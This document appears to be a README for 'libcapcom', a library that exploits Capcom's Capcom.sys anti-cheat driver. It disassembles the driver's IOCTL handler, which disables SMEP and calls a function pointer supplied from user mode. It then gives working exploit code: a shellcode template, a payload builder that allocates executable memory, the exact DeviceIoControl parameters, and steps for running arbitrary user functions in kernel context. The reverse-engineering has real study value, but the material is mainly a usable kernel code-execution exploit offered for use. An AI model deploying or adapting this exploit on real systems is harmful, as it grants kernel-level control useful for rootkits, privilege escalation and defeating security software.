Links to what happened:
- https://www.reddit.com/r/Games/comments/545cjy/sfvs_new_pc_update_is_accessing_kernel_level_in/
- https://twitter.com/bill307_ca/status/779496079519801344
- https://twitter.com/thewack0lian/status/779397840762245124
Capcom decides to ship a driver with a custom IOCTL that accepts a buffer from usermode, and executes it. Let's dive into how/why this works.
The interesting part of this exploit begins at Capcom.sys + 0x590
, the IOCTL handler. Here is the disassembled pseudocode:
__int64 __fastcall sub_10590(__int64 a1, struct _IRP *a2)
{
if ( *(_BYTE *)v2 == 14 )
{
requiredInputBufferSize = 0;
requiredOutputBufferSize = 0;
if ( controlCode == 0xAA012044 )
{
requiredOutputBufferSize = 4;
requiredInputBufferSize = 4;
}
else if ( controlCode == 0xAA013044 )
{
requiredInputBufferSize = 8;
requiredOutputBufferSize = 4;
}
if ( inputBufferSize != requiredInputBufferSize ||
outputBufferSize != requiredOutputBufferSize )
{
v7->IoStatus.Status = 0xC000000D;
goto LABEL_16;
}
if ( controlCode == 0xAA012044 )
{
v11 = *(_DWORD *)inputBuffer;
}
else
{
if ( controlCode != 0xAA013044 )
{
LABEL_14:
*(_DWORD *)inputBuffer = v4;
v7->IoStatus.Information = (unsigned int)requiredOutputBufferSize;
goto LABEL_16;
}
v11 = *(_QWORD *)inputBuffer;
}
v4 = sub_10524(v11);
goto LABEL_14;
}
v7->IoStatus.Status = 0xC0000002;
LABEL_16:
IofCompleteRequest(v7, 0);
return v7->IoStatus.Status;
}
The code basically does the following:
- Check if the control code is for a 32-bit (0xAA012044) or 64-bit (0xAA013044) request
- Check to see if the IRP packet has proper sizes. If for a 32-bit request, the input and output buffer sizes must be 4. If for a 64-bit request, the input buffer size must be 8 AND the output buffer size must be 4
- Set
v11
to the value that is pointed to by the address atinputBuffer
- Call
sub_10524
with parameter v11. - Finish by calling
IofCompleteRequest
Obviously, the natural reaction is to take a look at sub_10524
, located at Capcom.sys + 0x524
. Here is the disassembly:
signed __int64 __fastcall sub_10524(__int64 fnPtrFromBuffer)
{
if ( *(_QWORD *)(fnPtrFromBuffer - 8) == fnPtrFromBuffer )
{
userFn = (void (__fastcall *)(PVOID (__stdcall *)(PUNICODE_STRING)))fnPtrFromBuffer;
pMmGetSystemRoutineAddress = MmGetSystemRoutineAddress;
v2 = 0i64;
sub_10788((unsigned __int64 *)&v2);
userFn(pMmGetSystemRoutineAddress);
sub_107A0((unsigned __int64 *)&v2);
result = 1i64;
}
else
{
result = 0i64;
}
return result;
}
This function is where the juicy exploit comes into play.
- A very odd check to make sure that the first 8 bytes of the inputBuffer is equal to the address of the function, which lives at
inputBuffer + 0x8
- The pointer passed into
sub_10524
as the first parameter is cast to a function - The address of the system routine
MmGetSystemRoutineAddress
is saved to a local variable - An unknown function
sub_10788
is called - The function in usermode defined in the first parameter is called with the address of the function MmGetSystemRoutineAddress passed in as the first parameter to the usermode function
- Another unknown function
sub_107A0
is called
Quoting the Intel Manual Volume 3A, 4-3, Paragraph 4.1.3:
CR4.SMEP allows pages to be protected from supervisor-mode instruction fetches.
If CR4.SMEP = 1, software operating in supervisor mode cannot fetch instructions from linear addresses that are accessible in user mode.
Basically, SMEP is a CPU mitigation that prevents the kernel from executing code that lives in the virtual address space of a usermode process.
Going back to the exploit, we see that before the function defined by our input buffer is called, we call sub_10788
. It is not unreasonable to guess that this function does something to CR4.SMEP
.
unsigned __int64 __fastcall sub_10788(unsigned __int64 *a1)
{
unsigned __int64 v1; // rax@1
unsigned __int64 result; // rax@1
_disable();
v1 = __readcr4();
*a1 = v1;
result = v1 & 0xFFFFFFFFFFEFFFFFui64;
__writecr4(result);
return result;
}
And what do you know, sub_10788
disables SMEP, allowing our function in usermode to be called in the context of the kernel.
At this point it should be pretty obvious that sub_107A0
, the second unknown function called, sets SMEP back to its original state, so I will leave out the disassembly of that function.
The implementation at this point should be pretty straightforward now that we know how the driver interacts with data passed to its IOCTL handler. I will be outlining the few caveats that are required for a usermode function to be called in the context of the kernel.
Earlier we saw that the first 8 bytes of the input buffer must be equal to the address of the usermode function. Let's create a struct
that defines our payload:
struct capcom_payload
{
void* ptr_to_code;
uint8_t code[sizeof(code_template)];
};
We are going to want ptr_to_code
to point to the usermode function, defined by code
, an array of bytes when constructing the payload.
The driver will directly start executing the code defined by our code
byte array, and we know that SMEP is disabled at this point. Let's force the kernel to jmp
to a usermode function that we can define.
static const uint32_t user_function_ptr_offset = 0x2;
static uint8_t code_template[] =
{
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rax, user_function_ptr
0xFF, 0xE0 // jmp rax
};
This simple shellcode template will be the code that the driver executes for us. The first instruction will be movabs rax, user_function_ptr
which moves the immediate 8 bytes into rax
. Next, it will execute jmp rax
, which jumps to the address stored in rax
, which will be our user-defined function pointer.
Putting it all together, we get the following function:
capcom_payload* build_capcom_payload(uintptr_t user_function_wrapper)
{
// allocate a page of executable memory for our payload
capcom_payload* final_payload = (capcom_payload*)VirtualAlloc(nullptr, sizeof(capcom_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// copy our code template into the executable page
memcpy(final_payload->code, code_template, sizeof(code_template));
// fill this member to point to the actual code buffer (as required by capcom)
final_payload->ptr_to_code = final_payload->code;
// fill in the function pointer that will be copied into rax, then jmp'd to
*(uintptr_t*)(final_payload->code + user_function_ptr_offset) = (uintptr_t)user_function_wrapper;
return final_payload;
}
In the analysis of sub_10590
above, there are quite a few checks that must pass in order for our usermode code to be called. Recall the following:
- Check to see if the IRP packet has proper sizes. If for a 32-bit request, the input and output buffer sizes must be 4. If for a 64-bit request, the input buffer size must be 8 AND the output buffer size must be 4
In this library's implementation, it only deals with the 64-bit variant of the driver. Communicating with the driver involves the WinAPI function DeviceIoControl
, which takes a variety of parameters. Here is the function prototype as defined by MSDN:
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
dwIoControlCode
must be equal to0xAA013044
nInBufferSize
must be equal to8
nOutBufferSize
must be equal to4
Putting this together, the code in capcom_wrapper.cpp
calls:
DeviceIoControl(device, ioctl_x64, &payload->ptr_to_code, 8, &output_buffer, 4, &bytes_returned, nullptr)
DeviceIoControl
is a system call. System calls are handled by the kernel, but has access to the virtual address space of the process that invoked that syscall. For example, file and network I/O are handled by system calls, but the kernel could reasonably need access to the process' address space to pass data back to the process. Also keep in mind that a system call does not cause a context switch, meaning that the processor context never actually changes.
No, this is inherently unsafe because the moment a context switch happens, CR4 gets reset, meaning SMEP gets reset, and the moment we context switch back to the code in usermode, we get hit with a big fat BSOD. If one is interested in a safe implementation, I highly recommend reading https://blog.can.ac/2018/04/28/escape-smep-exploiting-capcom-safely/.
- Build the project
- Link against libcapcom.lib
- Include libcapcom.h
- Call
init_exploit()
- Call
execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function)
with your defined lambda - Call
cleanup_exploit()
Further documentation of what each exported function does can be found in libcapcom.h, and an example of a project that uses this library can be found here: https://github.com/notscimmy/pplib.